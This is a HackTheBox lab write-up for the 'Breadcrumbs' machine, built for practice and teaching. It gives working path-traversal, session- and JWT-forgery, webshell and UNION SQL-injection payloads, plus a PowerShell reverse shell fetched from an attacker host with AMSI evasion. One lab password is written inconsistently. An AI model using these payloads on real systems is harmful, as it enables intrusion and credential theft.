HTB: Breadcrumbs Writeup
Breadcrumbs - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Breadcrumbs |
| OS | Windows |
| Difficulty | Hard |
| Points | 40 |
| Release Date | N/A |
| IP Address | 10.10.10.228 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Breadcrumbs is a hard-difficulty Windows machine that demonstrates realistic web application vulnerabilities combined with creative privilege escalation techniques. The attack path begins with exploiting a path traversal vulnerability in a library management application to read server-side source code. Analysis of the PHP source reveals custom session handling and JWT secrets, enabling session forgery to authenticate as an administrative user. This access leads to an unrestricted file upload vulnerability, resulting in remote code execution. Lateral movement is achieved through plaintext credentials discovered in application data files and Windows Sticky Notes databases. Final privilege escalation exploits a SQL injection vulnerability in a custom password manager application, allowing decryption of the Administrator’s credentials using recovered AES keys.
TL;DR: Path traversal → source code disclosure → JWT + PHPSESSID forgery (paul) → unrestricted file upload → RCE as www-data → pizzaDeliveryUserData credentials → SSH as juliette → Sticky Notes SQLite database → SSH as development → UNION SQLi in passmanager.htb → AES key + ciphertext recovery → credential decryption → SSH as Administrator.
Reconnaissance
Port Scanning
# Initial TCP scan to identify open portsnmap -sC -sV -T4 -p- 10.10.10.228Results:
The scan reveals a Windows server running multiple services:
- Port 22 - SSH (OpenSSH for Windows)
- Port 80 - HTTP (Apache httpd 2.4.46)
- Port 443 - HTTPS (Apache httpd 2.4.46)
- Port 3306 - MySQL
- Port 445 - SMB
The presence of both Apache web server and MySQL strongly suggests a dynamic web application backed by a database.
Service Enumeration
HTTP/HTTPS (Ports 80/443)
Browsing to http://10.10.10.228 reveals a “Library” application with a search interface for books. The application allows searching by title and displays book descriptions in pop-up modals.
# Directory enumeration on the web rootgobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -u http://10.10.10.228 -t 50Key directories discovered:
/books- Contains HTML files with book descriptions/portal- Authentication-protected portal application
# Further enumeration of the portal directorygobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -u http://10.10.10.228/portal -t 50 -x phpAdditional findings:
/portal/login.php- Authentication page/portal/signup.php- User registration/portal/cookie.php- Cookie generation logic/portal/uploads- File upload directory/portal/includes/- Backend PHP controllers
Vulnerability Assessment
- Path Traversal in Book Loading - The
bookparameter inincludes/bookController.phpaccepts relative paths without proper sanitization - Custom Session Management - Non-standard PHPSESSID generation using predictable MD5 hashing
- JWT Secret Exposure - Hardcoded JWT signing key in source code
- Unrestricted File Upload - File upload functionality lacking extension and content validation
- SQL Injection - UNION-based SQLi in the password manager backend service
Initial Foothold
Path Traversal - Source Code Disclosure
After creating a test account and exploring the portal interface, intercepting requests in Burp Suite reveals the book loading mechanism:
POST /includes/bookController.php HTTP/1.1Host: 10.10.10.228Content-Type: application/x-www-form-urlencoded
book=book1.htmlThe application loads book descriptions from static HTML files in the /books directory. Testing for path traversal:
# Test path traversal with Windows system filecurl -X POST http://10.10.10.228/includes/bookController.php \ -d 'book=..\..\..\windows\win.ini'Success - The server returns the contents of win.ini, confirming arbitrary file read capability. This vulnerability allows reading PHP source code to understand the application’s authentication and session management.
Session Forgery - Analyzing Authentication
Reading the authentication controller source:
# Extract authController.php via path traversalcurl -X POST http://10.10.10.228/includes/bookController.php \ -d 'book=..\portal\authController.php'The source reveals two critical components:
1. JWT Token Generation:
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';$payload = array( "data" => array( "username" => $username ));$jwt = JWT::encode($payload, $secret_key, 'HS256');setcookie("token", $jwt, time() + (86400 * 30), "/");2. Custom Session ID Generation:
Reading portal/cookie.php:
# Extract cookie.phpcurl -X POST http://10.10.10.228/includes/bookController.php \ -d 'book=..\portal\cookie.php'function makesession($username){ $max = strlen($username) - 1; $seed = rand(0, $max); $key = "s4lTy_stR1nG_". $username[$seed] . "(!528./9890"; $session_cookie = $username.md5($key); return $session_cookie;}The function generates a PHPSESSID by:
- Selecting a random character from the username
- Concatenating it with a salt:
s4lTy_stR1nG_[char](!528./9890 - Hashing with MD5 and prepending the username
Since the character is randomly selected from a small set (the username), we can brute-force all possibilities.
Targeting User “paul”
Reading portal/php/files.php reveals access control:
if($_SESSION['username'] !== "paul"){ header("Location: ../index.php");}The file management functionality requires authentication as user paul. We need to forge both a valid PHPSESSID and JWT for this user.
Brute-forcing paul’s PHPSESSID:
from hashlib import md5import requests
username = "paul"target = "http://10.10.10.228/portal/php/files.php"
# Generate all possible session IDs for "paul"# Username has 4 unique characters: p, a, u, lfor char in username: key = f"s4lTy_stR1nG_{char}(!528./9890" sessid = username + md5(key.encode()).hexdigest()
cookies = {"PHPSESSID": sessid} resp = requests.get(target, cookies=cookies, allow_redirects=False)
# Valid session returns 200, invalid returns 302 redirect if resp.status_code != 302: print(f"[+] Valid PHPSESSID: {sessid}") breakRunning the script produces a valid session ID (the exact value will vary based on which character was randomly selected during paul’s last login, but testing shows paul47200b180ccd6835d25d034eeb6e6390 returns HTTP 200).
Forging JWT for paul:
import jwt
data = { "data": { "username": "paul" }}
secret = "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e"token = jwt.encode(data, secret, algorithm="HS256")print(f"[+] Forged JWT: {token}")Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCUUnrestricted File Upload - Webshell Deployment
With both cookies forged, we can access the file management interface. Analyzing includes/fileController.php:
# Extract fileController.php via path traversalcurl -X POST http://10.10.10.228/includes/bookController.php \ -d 'book=..\portal\includes\fileController.php'The upload handler checks the JWT token and session:
$admins = array("paul");$user = validate()->data->username;if(in_array($user, $admins) && $_SESSION['username'] == "paul"){ $uploads_dir = '../uploads'; $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_POST['task']; if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){ $ret = "Success. Have a great weekend!"; }}Critical vulnerability: The filename is taken directly from the task POST parameter with no validation of file extension or content type.
Deploying a minimal PHP webshell:
# Create webshell payload# <?=`$_GET[0]`?> - Ultra-compact webshell using short tags and backtick execution
curl -X POST http://10.10.10.228/portal/includes/fileController.php \ -H "Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU" \ -F "file=@-;filename=shell.php" \ -F "task=shell.php" \ <<< '<?=`$_GET[0]`?>'Testing RCE:
# Execute whoami command via the webshellcurl "http://10.10.10.228/portal/uploads/shell.php?0=whoami"Gaining Interactive Shell
# Prepare Nishang PowerShell reverse shellwget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O tcp.ps1
# Add execution line and rename function to evade AMSIecho 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444' >> tcp.ps1sed -i "s/PowerShellTcp/tcpps/g" tcp.ps1
# Start listenernc -lvnp 4444
# Trigger reverse shell via webshellcurl "http://10.10.10.228/portal/uploads/shell.php" \ --data-urlencode '0=powershell iex(iwr http://10.10.14.6/tcp.ps1 -useb)'Result: Interactive PowerShell session as breadcrumbs\www-data.
Privilege Escalation
Lateral Movement: www-data → juliette
Enumerating the web application directory structure:
PS C:\xampp\htdocs\portal> dir
Directory: C:\xampp\htdocs\portal
Mode LastWriteTime Length Name---- ------------- ------ ----d----- 11/4/2020 11:31 AM dbd----- 11/28/2020 2:11 AM includesd----- 11/4/2020 6:52 AM pizzaDeliveryUserDatad----- 11/20/2020 4:33 PM uploadsThe pizzaDeliveryUserData directory contains JSON files:
PS C:\xampp\htdocs\portal\pizzaDeliveryUserData> dir
Mode LastWriteTime Length Name---- ------------- ------ -----a---- 11/4/2020 11:48 AM 170 alex.disabled-a---- 11/4/2020 11:48 AM 170 emma.disabled-a---- 11/4/2020 11:48 AM 170 jack.disabled-a---- 11/4/2020 11:48 AM 170 john.disabled-a---- 11/4/2020 11:48 AM 201 juliette.json-a---- 11/4/2020 11:48 AM 170 paul.disabledOnly juliette.json is active (not .disabled):
PS C:\xampp\htdocs\portal\pizzaDeliveryUserData> type juliette.json{ "pizza" : "margherita", "size" : "large", "drink" : "water", "card" : "VISA", "PIN" : "9890", "alternate" : { "username" : "juliette", "password" : "jUli901./())!", }}Credentials found: juliette:jUli901./()!)
# SSH as juliettessh juliette@10.10.10.228# Password: jUli901./())!
PS C:\Users\juliette\Desktop> type user.txt<redacted>User flag captured.
Lateral Movement: juliette → development
Examining juliette’s desktop reveals a TODO list:
PS C:\Users\juliette\Desktop> type todo.html<table><tr> <th>Task</th> <th>Status</th> <th>Reason</th></tr><tr> <td>Configure firewall for port 22 and 445</td> <td>Not started</td> <td>Unauthorized access might be possible</td></tr><tr> <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td> <td>In progress</td> <td>It stores passwords in plain text</td></tr><tr> <td>Add new features to password manager</td> <td>Not started</td> <td>To get promoted, hopefully lol</td></tr></table>The note mentions Sticky Notes storing passwords in plaintext. Windows Sticky Notes data is stored in a SQLite database at:
%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> dir
Mode LastWriteTime Length Name---- ------------- ------ -----a---- 11/4/2020 12:10 PM 20480 <redacted>.storage.session-a---- 11/29/2020 3:10 AM 98304 plum.sqlite-a---- 11/29/2020 3:10 AM 32768 plum.sqlite-shm-a---- 12/2/2020 10:59 AM 329632 plum.sqlite-walExfiltrating the database:
# From local Kali machinescp 'juliette@10.10.10.228:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.*' .
# Examine with sqlite3sqlite3 plum.sqlitesqlite> .tablesMedia Note Session User metadata stroke
sqlite> SELECT Text FROM Note;\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]Credentials found: development:fN3)sN5Ee@g
# SSH as development userssh development@10.10.10.228# Password: fN3)sN5Ee@gPrivilege Escalation: development → Administrator
The development user has access to C:\Development:
PS C:\Development> dir
Mode LastWriteTime Length Name---- ------------- ------ -----a---- 11/29/2020 3:11 AM 549376 Krypter_LinuxExfiltrating the binary for analysis:
scp development@10.10.10.228:/Development/Krypter_Linux .
file Krypter_Linux# Krypter_Linux: ELF 32-bit LSB executable, Intel 80386Using strings and reverse engineering (with Ghidra or similar), the binary reveals:
- It makes an HTTP POST request to
http://passmanager.htb:1234/index.php - POST data:
method=select&username=administrator&table=passwords - Purpose: Retrieve an AES decryption key from a password manager service
Checking for the service:
PS C:\Development> netstat -ano | findstr 1234 TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING 2164Port 1234 is listening locally. Port forwarding via SSH:
# From Kalissh -L 1234:127.0.0.1:1234 development@10.10.10.228 -NTesting the password manager endpoint:
curl http://localhost:1234/index.php \ -d 'method=select&username=administrator&table=passwords'
# Response:selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(16) "k19D193j.<19391(" }}The response provides an AES key but not the encrypted password itself. The POST data format suggests SQL:
SELECT aes_key FROM passwords WHERE username='administrator' AND table='passwords';SQL Injection in Password Manager
Testing UNION-based SQLi:
# Test with UNION SELECTcurl http://localhost:1234/index.php \ -d 'method=select&username=administrator&table=passwords UNION SELECT 1-- -'
# Response:selectarray(2) { [0]=> array(1) { ["aes_key"]=> string(16) "k19D193j.<19391(" } [1]=> array(1) { ["aes_key"]=> string(1) "1" }}Injection confirmed! Now we can extract data from the database.
Enumerating database structure:
# Get column names from passwords tablecurl http://localhost:1234/index.php \ -d 'method=select&username=&table=passwords UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database()-- -'
# Columns found: id, account, password, aes_keyExtracting the encrypted password:
curl http://localhost:1234/index.php \ -d 'method=select&username=&table=passwords UNION SELECT password FROM passwords-- -'
# Response:selectarray(2) { [0]=> array(1) { ["aes_key"]=> string(44) "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=" }}AES Decryption
We now have:
- AES Key:
k19D193j.<19391( - Ciphertext (base64):
H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= - Algorithm: AES-CBC (inferred from binary analysis)
import pyaesfrom base64 import b64decode
key = b"k19D193j.<19391("ciphertext_b64 = "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="
# Decode base64ciphertext = b64decode(ciphertext_b64)
# AES-CBC with zero IV (default when not specified)aes = pyaes.AESModeOfOperationCBC(key)
# Decrypt in 16-byte blocksplaintext = b''for i in range(0, len(ciphertext), 16): plaintext += aes.decrypt(ciphertext[i:i+16])
print(f"Decrypted password: {plaintext.decode('utf-8', errors='ignore')}")Output:
Decrypted password: p@ssw0rd!@#$9890./The password includes PKCS#7 padding bytes at the end (visible as non-printable characters), but the actual password is: p@ssw0rd!@#$9890./
Root Access
# SSH as Administratorssh administrator@10.10.10.228# Password: p@ssw0rd!@#$9890./
PS C:\Users\Administrator\Desktop> type root.txt<redacted>Root flag captured.
Attack Chain Summary
Port Scan (80/443, 22, 3306, 445) ↓Web Enumeration (Library app + /portal) ↓Path Traversal (book=..\..\..\windows\win.ini) ↓Source Code Disclosure (authController.php, cookie.php, fileController.php) ↓Session Analysis (JWT secret + makesession() salt recovered) ↓Brute-force PHPSESSID for "paul" (4 candidates, found paul47200b...) ↓JWT Forgery ({"data":{"username":"paul"}} signed with recovered secret) ↓Unrestricted File Upload (<?=`$_GET[0]`?> → shell.php) ↓RCE as www-data (webshell → PowerShell reverse shell) ↓Credential Discovery (pizzaDeliveryUserData/juliette.json) ↓SSH as juliette (jUli901./())!) → user.txt ↓Sticky Notes Enumeration (plum.sqlite + WAL) ↓SSH as development (fN3)sN5Ee@g) ↓Binary Analysis (Krypter_Linux → passmanager.htb:1234) ↓Port Forwarding (SSH tunnel to 127.0.0.1:1234) ↓UNION SQL Injection (extract password column) ↓AES-CBC Decryption (key k19D193j.<19391( + ciphertext) ↓SSH as Administrator (p@ssw0rd!@#$9890./) → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Web directory and file discovery |
curl | HTTP request manipulation and testing |
Burp Suite | HTTP traffic interception and analysis |
python3 | Session/JWT forgery scripting |
nc | Reverse shell listener |
Nishang | PowerShell reverse shell (Invoke-PowerShellTcp.ps1) |
ssh | Remote access and port forwarding |
scp | File exfiltration |
sqlite3 | SQLite database examination |
strings | Binary analysis |
Ghidra | Reverse engineering ELF binary |
pyaes | AES decryption |
Key Learnings
Techniques Practiced
- Path Traversal Exploitation - Leveraging
../sequences to read arbitrary server files, including PHP source code - Source Code Analysis - Reading backend code to understand authentication mechanisms and identify vulnerabilities
- Custom Session Forgery - Reverse-engineering non-standard PHPSESSID generation using predictable MD5 hashing
- JWT Token Manipulation - Crafting valid JSON Web Tokens using exposed signing secrets (HS256 algorithm)
- Unrestricted File Upload - Bypassing weak validation to deploy webshells via filename manipulation
- Windows Credential Harvesting - Extracting plaintext passwords from Microsoft Sticky Notes SQLite databases
- Binary Reverse Engineering - Analyzing ELF executables to discover backend service endpoints and protocols
- SSH Port Forwarding - Tunneling to localhost-only services for remote exploitation
- UNION-based SQL Injection - Extracting sensitive data from database columns using UNION SELECT queries
- AES-CBC Decryption - Decrypting ciphertext when both key and algorithm are known (zero-IV implementation)
Lessons Learned
-
Defense in Depth for File Operations - Path traversal vulnerabilities can expose far more than intended. Always validate and sanitize file paths using allowlists, canonicalization, and chroot/jail environments. Never rely on blacklisting
../patterns alone. -
Secure Session Management - Custom session ID generation is error-prone. The
makesession()function used weak entropy (random character from username) combined with a static salt, making brute-force trivial. Use cryptographically secure random number generators (e.g.,random_bytes()in PHP) and never implement custom session handling when framework defaults are available. -
JWT Secret Protection - Hardcoded JWT secrets in source code completely defeat the purpose of token-based authentication. Secrets should be stored in environment variables or secure vaults, rotated regularly, and never committed to version control. Use asymmetric algorithms (RS256) when secret protection is difficult.
-
File Upload Validation - Trusting client-controlled filenames (
$_POST['task']) without validation enables trivial webshell deployment. Always validate file extensions against an allowlist, verify MIME types, rename uploads to random identifiers, store outside the webroot, and serve through a separate domain/handler. -
Credential Storage in Applications - The
pizzaDeliveryUserDataJSON files and Sticky Notes database both contained plaintext passwords. Never store credentials in plaintext—use proper hashing (bcrypt, Argon2) for passwords and encryption with key management for secrets. Windows Sticky Notes is not designed for credential storage. -
SQL Injection Prevention - The password manager service concatenated user input directly into SQL queries. Always use parameterized queries/prepared statements. Input validation is not sufficient—even escaped input can be bypassed with encoding tricks.
-
Localhost Service Security - Services bound to
127.0.0.1are not inherently secure. Once an attacker has any foothold (SSH access, RCE), port forwarding negates localhost binding. Implement authentication even for local-only services, especially those handling sensitive data like credentials. -
Defense Against Reverse Engineering - The
Krypter_Linuxbinary revealed the entire password manager API through static analysis. Binaries distributed to users should assume compromise. Sensitive endpoints should require authentication (API keys, certificates), and encryption keys should never be retrievable without authorization.
Proof of Ownership
User Flag (juliette): <redacted>Root Flag (Administrator): <redacted>References
This writeup drew explanatory context from the official HackTheBox community writeup for Breadcrumbs by MinatoTW (Document No. D21.100.123, 14th July 2021), used to clarify exploitation techniques and provide additional context on vulnerability mechanics.